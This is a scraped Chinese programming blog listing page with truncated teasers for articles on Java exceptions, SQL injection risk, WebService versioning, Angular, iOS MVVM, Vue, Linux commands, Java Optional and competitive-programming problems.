    转载:http://blog.csdn.net/luoweifu/article/details/10721543 我进行了一些加工,不是本人原创但比原博主要更完善~ 浅谈Java异常 以前虽然知道一 ...

  6. 浅谈SQL注入风险 - 一个Login拿下Server

    前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...

  7. 浅谈WebService的版本兼容性设计

    在现在大型的项目或者软件开发中,一般都会有很多种终端, PC端比如Winform.WebForm,移动端,比如各种Native客户端(iOS, Android, WP),Html5等,我们要满足以上所 ...

  8. 浅谈angular2+ionic2

    浅谈angular2+ionic2   前言: 不要用angular的语法去写angular2,有人说二者就像Java和JavaScript的区别.   1. 项目所用:angular2+ionic2 ...

  9. iOS开发之浅谈MVVM的架构设计与团队协作

    今天写这篇博客是想达到抛砖引玉的作用,想与大家交流一下思想,相互学习,博文中有不足之处还望大家批评指正.本篇博客的内容沿袭以往博客的风格,也是以干货为主,偶尔扯扯咸蛋(哈哈~不好好工作又开始发表博客啦 ...

随机推荐

  1. undertow配置

    # 设置IO线程数, 它主要执行非阻塞的任务,它们会负责多个连接, 默认设置每个CPU核心一个线程 # 不要设置过大,如果过大,启动项目会报错:打开文件数过多 #server.undertow.io- ...

  2. Vue中keep-alive组件的理解

    对keep-alive组件的理解 当在组件之间切换的时候,有时会想保持这些组件的状态,以避免反复重渲染导致的性能等问题,使用<keep-alive>包裹动态组件时,会缓存不活动的组件实例, ...

  3. Linux高频操作

    常用linux命令 查看文件.文件夹大小 du -hs <file/dir> 同时输出到控制台和文件 ./<program> 2>&1 | tee <log ...

  4. JavaScript 的诞生

    JavaScript的历史 网景 1993年出现网页浏览器NCSA Mosaic 1994年出现Netscape Navigator,并占据四分之三浏览器市场 1995年5月布兰登根据公司的要求发明一 ...

  5. 使用Java8中的Optional类来消除代码中的null检查

    简介 Optional类是Java 8新增的一个类,Optional 类主要解决的问题是臭名昭著的空指针异常(NullPointerException). —— 每个 Java 程序员都非常了解的异常 ...

  6. CloudBase Framework丨第一个 Deno 部署工具是如何打造的?

    云端一体化部署工具 CloudBase Framework (简称 CBF)自开源发布以来迭代迅速,不仅支持 Vue.React 等前端框架,也支持 Nuxt 等 SSR 框架,基于 Node 开发的 ...

  7. new操作符创建对象的四个步骤

    new操作符创建对象可以分为以下四个步骤: 创建一个空对象 将所创建对象的__proto__属性值设为构造函数的prototype的属性值 执行构造函数中的代码,构造函数中的this指向该对象 返回对 ...

  8. CF1203D2 Remove the Substring (hard version) 题解

    这题初赛让我白给了6分,于是我决定回来解决一下它. 说实话,看原题题面和看CCF代码真是两种完全不同的感受…… ------------思路分析: 把$s$串删去一部分之后,会把$s$串分成两部分,当 ...

  9. Unity双开

    open -n /Applications/Unity/Unity.app

  10. HDU多校-1004-Vacation(思维)

    Tom and Jerry are going on a vacation. They are now driving on a one-way road and several cars are i ...